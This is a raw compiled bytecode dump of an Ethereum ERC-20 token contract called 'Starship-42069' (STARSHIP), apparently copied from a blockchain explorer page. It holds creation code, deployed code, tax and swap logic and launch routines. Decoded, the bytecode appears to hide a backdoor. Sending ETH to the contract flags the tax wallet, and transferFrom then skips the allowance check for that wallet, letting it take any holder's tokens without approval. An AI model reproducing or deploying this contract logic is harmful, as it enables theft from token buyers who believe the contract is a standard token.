60405180910390a3505050565b611105610f33565b73ffffffffffffffffffffffffffffffffffffffff1661112361092b565b73ffffffffffffffffffffffffffffffffffffffff1614611179576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611170906128d5565b60405180910390fd5b565b5f600660159054906101000a900460ff16806111dd575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61121c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112139061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361128a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611281906129cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612a59565b60405180910390fd5b5f821161133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190612ae7565b60405180910390fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156113d8575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117465760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611486575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156114e157600b5f81548092919061149d90612b05565b91905055506114de60646114d0600c54600b54106114bd576009546114c1565b6007545b85611b2990919063ffffffff16565b611ba090919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461158e57600f548261154285610890565b61154c9190612b4c565b111561158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490612bc9565b60405180910390fd5b5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116215761161e6064611610600c54600b54106115fd57600a54611601565b6008545b85611b2990919063ffffffff16565b611ba090919063ffffffff16565b90505b600660149054906101000a900460ff1615801561164a5750600660159054906101000a900460ff165b80156116a2575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611745575f6116c56116b430610890565b6116c060105486611be9565b611be9565b90506116d081611c01565b5f4790505f81111561174257600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611740573d5f803e3d5ffd5b505b50505b5b5f8111156118455761179e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611edc90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183c9190611fc6565b60405180910390a35b6118958260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f3990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119386118ec8284611f3990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611edc90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119db8486611f3990919063ffffffff16565b6040516119e89190611fc6565b60405180910390a350505050565b5f6002821480611a065750838311155b611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c90612c57565b60405180910390fd5b5f60028314611a5d578385611a5a9190612c75565b90505b809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611b39575f9050611b9a565b5f8284611b46919061245c565b9050828482611b559190612530565b14611b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8c90612d18565b60405180910390fd5b809150505b92915050565b5f611be183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f4d565b905092915050565b5f818311611bf75782611bf9565b815b905092915050565b6001600660146101000a81548160ff021916908315150217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611c80573d5f803e3d5ffd5b5080600e541015611ebf575f600267ffffffffffffffff811115611ca757611ca6612d36565b5b604051908082528060200260200182016040528015611cd55781602001602082028036833780820191505090505b50905030815f81518110611cec57611ceb612d63565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611db491906124b1565b81600181518110611dc857611dc7612d63565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2e3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f3a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611e90959493929190612e47565b5f604051808303815f87803b158015611ea7575f80fd5b505af1158015611eb9573d5f803e3d5ffd5b50505050505b5f600660146101000a81548160ff02191690831515021790555050565b5f808284611eea9190612b4c565b905083811015611f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2690612ee9565b60405180910390fd5b8091505092915050565b5f611f4583835f6119f6565b905092915050565b5f8083118290611f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8a919061204f565b60405180910390fd5b505f8385611fa19190612530565b9050809150509392505050565b5f819050919050565b611fc081611fae565b82525050565b5f602082019050611fd95f830184611fb7565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61202182611fdf565b61202b8185611fe9565b935061203b818560208601611ff9565b61204481612007565b840191505092915050565b5f6020820190508181035f8301526120678184612017565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61209c82612073565b9050919050565b6120ac81612092565b81146120b6575f80fd5b50565b5f813590506120c7816120a3565b92915050565b6120d681611fae565b81146120e0575f80fd5b50565b5f813590506120f1816120cd565b92915050565b5f806040838503121561210d5761210c61206f565b5b5f61211a858286016120b9565b925050602061212b858286016120e3565b9150509250929050565b5f8115159050919050565b61214981612135565b82525050565b5f6020820190506121625f830184612140565b92915050565b5f805f6060848603121561217f5761217e61206f565b5b5f61218c868287016120b9565b935050602061219d868287016120b9565b92505060406121ae868287016120e3565b9150509250925092565b5f60ff82169050919050565b6121cd816121b8565b82525050565b5f6020820190506121e65f8301846121c4565b92915050565b5f602082840312156122015761220061206f565b5b5f61220e848285016120b9565b91505092915050565b61222081612092565b82525050565b5f6020820190506122395f830184612217565b92915050565b5f80604083850312156122555761225461206f565b5b5f612262858286016120b9565b9250506020612273858286016120b9565b9150509250929050565b5f61228782612073565b9050919050565b6122978161227d565b82525050565b5f6020820190506122b05f83018461228e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561233857808604811115612314576123136122b6565b5b60018516156123235780820291505b8081029050612331856122e3565b94506122f8565b94509492505050565b5f82612350576001905061240b565b8161235d575f905061240b565b8160018114612373576002811461237d576123ac565b600191505061240b565b60ff84111561238f5761238e6122b6565b5b8360020a9150848211156123a6576123a56122b6565b5b5061240b565b5060208310610133831016604e8410600b84101617156123e15782820a9050838111156123dc576123db6122b6565b5b61240b565b6123ee84848460016122ef565b92509050818404811115612405576124046122b6565b5b81810290505b9392505050565b5f61241c82611fae565b9150612427836121b8565b92506124547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612341565b905092915050565b5f61246682611fae565b915061247183611fae565b925082820261247f81611fae565b91508282048414831517612496576124956122b6565b5b5092915050565b5f815190506124ab816120a3565b92915050565b5f602082840312156124c6576124c561206f565b5b5f6124d38482850161249d565b91505092915050565b5f6040820190506124ef5f830185612217565b6124fc6020830184612217565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61253a82611fae565b915061254583611fae565b92508261255557612554612503565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61258c61258761258284612560565b612569565b611fae565b9050919050565b61259c81612572565b82525050565b5f60c0820190506125b55f830189612217565b6125c26020830188611fb7565b6125cf6040830187612593565b6125dc6060830186612593565b6125e96080830185612217565b6125f660a0830184611fb7565b979650505050505050565b5f8151905061260f816120cd565b92915050565b5f805f6060848603121561262c5761262b61206f565b5b5f61263986828701612601565b935050602061264a86828701612601565b925050604061265b86828701612601565b9150509250925092565b5f6040820190506126785f830185612217565b6126856020830184611fb7565b9392505050565b61269581612135565b811461269f575f80fd5b50565b5f815190506126b08161268c565b92915050565b5f602082840312156126cb576126ca61206f565b5b5f6126d8848285016126a2565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61273b602683611fe9565b9150612746826126e1565b604082019050919050565b5f6020820190508181035f8301526127688161272f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127c9602483611fe9565b91506127d48261276f565b604082019050919050565b5f6020820190508181035f8301526127f6816127bd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612857602283611fe9565b9150612862826127fd565b604082019050919050565b5f6020820190508181035f8301526128848161284b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128bf602083611fe9565b91506128ca8261288b565b602082019050919050565b5f6020820190508181035f8301526128ec816128b3565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612927600f83611fe9565b9150612932826128f3565b602082019050919050565b5f6020820190508181035f8301526129548161291b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129b5602583611fe9565b91506129c08261295b565b604082019050919050565b5f6020820190508181035f8301526129e2816129a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a43602383611fe9565b9150612a4e826129e9565b604082019050919050565b5f6020820190508181035f830152612a7081612a37565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ad1602983611fe9565b9150612adc82612a77565b604082019050919050565b5f6020820190508181035f830152612afe81612ac5565b9050919050565b5f612b0f82611fae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b4157612b406122b6565b5b600182019050919050565b5f612b5682611fae565b9150612b6183611fae565b9250828201905080821115612b7957612b786122b6565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612bb3601b83611fe9565b9150612bbe82612b7f565b602082019050919050565b5f6020820190508181035f830152612be081612ba7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612c41602883611fe9565b9150612c4c82612be7565b604082019050919050565b5f6020820190508181035f830152612c6e81612c35565b9050919050565b5f612c7f82611fae565b9150612c8a83611fae565b9250828203905081811115612ca257612ca16122b6565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d02602183611fe9565b9150612d0d82612ca8565b604082019050919050565b5f6020820190508181035f830152612d2f81612cf6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612dc281612092565b82525050565b5f612dd38383612db9565b60208301905092915050565b5f602082019050919050565b5f612df582612d90565b612dff8185612d9a565b9350612e0a83612daa565b805f5b83811015612e3a578151612e218882612dc8565b9750612e2c83612ddf565b925050600181019050612e0d565b5085935050505092915050565b5f60a082019050612e5a5f830188611fb7565b612e676020830187612593565b8181036040830152612e798186612deb565b9050612e886060830185612217565b612e956080830184611fb7565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ed3601b83611fe9565b9150612ede82612e9f565b602082019050919050565b5f6020820190508181035f830152612f0081612ec7565b905091905056fea2646970667358221220ffc84f82449757c0b788bb96b068e2a8efe446b64e393fd1a42cf47839e440a264736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061019e575f3560e01c8063715018a6116100eb578063b2e7fa9811610089578063dd62ed3e11610063578063dd62ed3e146105dc578063e3c1d22214610618578063f2fde38b14610654578063fff57f0b1461067c57610208565b8063b2e7fa9814610572578063bca299251461059c578063c9567bf9146105c657610208565b806395d89b41116100c557806395d89b41146104b8578063a666ec1c146104e2578063a9059cbb1461050c578063acbb87b11461054857610208565b8063715018a614610462578063751039fc146104785780638da5cb5b1461048e57610208565b806323b872dd1161015857806344419df51161013257806344419df5146103965780635d45e0e9146103c057806370a08231146103ea57806370f64a321461042657610208565b806323b872dd14610306578063313ce5671461034257806340d5c6331461036c57610208565b80622781e21461020c57806306fdde0314610236578063095ea7b3146102605780630ece72aa1461029c57806318160ddd146102c657806320800a00146102f057610208565b3661020857600260045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055005b5f80fd5b348015610217575f80fd5b506102206106a6565b60405161022d9190611fc6565b60405180910390f35b348015610241575f80fd5b5061024a6106ac565b604051610257919061204f565b60405180910390f35b34801561026b575f80fd5b50610286600480360381019061028191906120f7565b6106e9565b604051610293919061214f565b60405180910390f35b3480156102a7575f80fd5b506102b0610706565b6040516102bd9190611fc6565b60405180910390f35b3480156102d1575f80fd5b506102da61070c565b6040516102e79190611fc6565b60405180910390f35b3480156102fb575f80fd5b5061030461072f565b005b348015610311575f80fd5b5061032c60048036038101906103279190612168565b61077d565b604051610339919061214f565b60405180910390f35b34801561034d575f80fd5b50610356610876565b60405161036391906121d3565b60405180910390f35b348015610377575f80fd5b5061038061087e565b60405161038d9190611fc6565b60405180910390f35b3480156103a1575f80fd5b506103aa610884565b6040516103b79190611fc6565b60405180910390f35b3480156103cb575f80fd5b506103d461088a565b6040516103e19190611fc6565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906121ec565b610890565b60405161041d9190611fc6565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906121ec565b6108d6565b6040516104599190611fc6565b60405180910390f35b34801561046d575f80fd5b506104766108eb565b005b348015610483575f80fd5b5061048c6108fe565b005b348015610499575f80fd5b506104a261092b565b6040516104af9190612226565b60405180910390f35b3480156104c3575f80fd5b506104cc610952565b6040516104d9919061204f565b60405180910390f35b3480156104ed575f80fd5b506104f661098f565b6040516105039190611fc6565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d91906120f7565b610995565b60405161053f919061214f565b60405180910390f35b348015610553575f80fd5b5061055c6109b2565b6040516105699190611fc6565b60405180910390f35b34801561057d575f80fd5b506105866109b8565b6040516105939190611fc6565b60405180910390f35b3480156105a7575f80fd5b506105b06109be565b6040516105bd9190611fc6565b60405180910390f35b3480156105d1575f80fd5b506105da6109c4565b005b3480156105e7575f80fd5b5061060260048036038101906105fd919061223f565b610ded565b60405161060f9190611fc6565b60405180910390f35b348015610623575f80fd5b5061063e600480360381019061063991906121ec565b610e6f565b60405161064b919061214f565b60405180910390f35b34801561065f575f80fd5b5061067a600480360381019061067591906121ec565b610e8c565b005b348015610687575f80fd5b50610690610f0e565b60405161069d919061229d565b60405180910390f35b600a5481565b60606040518060400160405280600e81526020017f53746172736869702d3432303639000000000000000000000000000000000000815250905090565b5f6106fc6106f5610f33565b8484610f3a565b6001905092915050565b600c5481565b5f6009600a61071b9190612412565b633b9aca0061072a919061245c565b905090565b6107376110fd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561077a573d5f803e3d5ffd5b50565b5f61078984848461117b565b61086b84610795610f33565b6108668560045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61081d610f33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f69092919063ffffffff16565b610f3a565b600190509392505050565b5f6009905090565b60095481565b600f5481565b60085481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6004602052805f5260405f205f915090505481565b6108f36110fd565b6108fc5f611a68565b565b6109066110fd565b6009600a6109149190612412565b633b9aca00610923919061245c565b600f81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5354415253484950000000000000000000000000000000000000000000000000815250905090565b60105481565b5f6109a86109a1610f33565b848461117b565b6001905092915050565b600b5481565b600e5481565b60075481565b6109cc6110fd565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5191906124b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ada91906124b1565b6040518363ffffffff1660e01b8152600401610af79291906124dc565b6020604051808303815f875af1158015610b13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3791906124b1565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfe3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bea9190612412565b633b9aca00610bf9919061245c565b610f3a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610c4830610890565b6062610c54919061245c565b610c5e9190612530565b5f80610c6861092b565b426040518863ffffffff1660e01b8152600401610c8a969594939291906125a2565b60606040518083038185885af1158015610ca6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ccb9190612615565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d6b929190612665565b6020604051808303815f875af1158015610d87573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dab91906126b6565b506001600660156101000a81548160ff0219169083151502179055506009600a610dd59190612412565b633b9aca00610de4919061245c565b600f8190555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610e946110fd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990612751565b60405180910390fd5b610f0b81611a68565b50565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f906127df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061286d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110f09190611fc6565b60405180910390a3505050565b611105610f33565b73ffffffffffffffffffffffffffffffffffffffff1661112361092b565b73ffffffffffffffffffffffffffffffffffffffff1614611179576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611170906128d5565b60405180910390fd5b565b5f600660159054906101000a900460ff16806111dd575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61121c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112139061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361128a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611281906129cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612a59565b60405180910390fd5b5f821161133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190612ae7565b60405180910390fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156113d8575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117465760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611486575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156114e157600b5f81548092919061149d90612b05565b91905055506114de60646114d0600c54600b54106114bd576009546114c1565b6007545b85611b2990919063ffffffff16565b611ba090919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461158e57600f548261154285610890565b61154c9190612b4c565b111561158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490612bc9565b60405180910390fd5b5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116215761161e6064611610600c54600b54106115fd57600a54611601565b6008545b85611b2990919063ffffffff16565b611ba090919063ffffffff16565b90505b600660149054906101000a900460ff1615801561164a5750600660159054906101000a900460ff165b80156116a2575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611745575f6116c56116b430610890565b6116c060105486611be9565b611be9565b90506116d081611c01565b5f4790505f81111561174257600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611740573d5f803e3d5ffd5b505b50505b5b5f8111156118455761179e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611edc90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183c9190611fc6565b60405180910390a35b6118958260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f3990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119386118ec8284611f3990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611edc90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119db8486611f3990919063ffffffff16565b6040516119e89190611fc6565b60405180910390a350505050565b5f6002821480611a065750838311155b611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c90612c57565b60405180910390fd5b5f60028314611a5d578385611a5a9190612c75565b90505b809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611b39575f9050611b9a565b5f8284611b46919061245c565b9050828482611b559190612530565b14611b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8c90612d18565b60405180910390fd5b809150505b92915050565b5f611be183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f4d565b905092915050565b5f818311611bf75782611bf9565b815b905092915050565b6001600660146101000a81548160ff021916908315150217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611c80573d5f803e3d5ffd5b5080600e541015611ebf575f600267ffffffffffffffff811115611ca757611ca6612d36565b5b604051908082528060200260200182016040528015611cd55781602001602082028036833780820191505090505b50905030815f81518110611cec57611ceb612d63565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611db491906124b1565b81600181518110611dc857611dc7612d63565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2e3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f3a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611e90959493929190612e47565b5f604051808303815f87803b158015611ea7575f80fd5b505af1158015611eb9573d5f803e3d5ffd5b50505050505b5f600660146101000a81548160ff02191690831515021790555050565b5f808284611eea9190612b4c565b905083811015611f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2690612ee9565b60405180910390fd5b8091505092915050565b5f611f4583835f6119f6565b905092915050565b5f8083118290611f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8a919061204f565b60405180910390fd5b505f8385611fa19190612530565b9050809150509392505050565b5f819050919050565b611fc081611fae565b82525050565b5f602082019050611fd95f830184611fb7565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61202182611fdf565b61202b8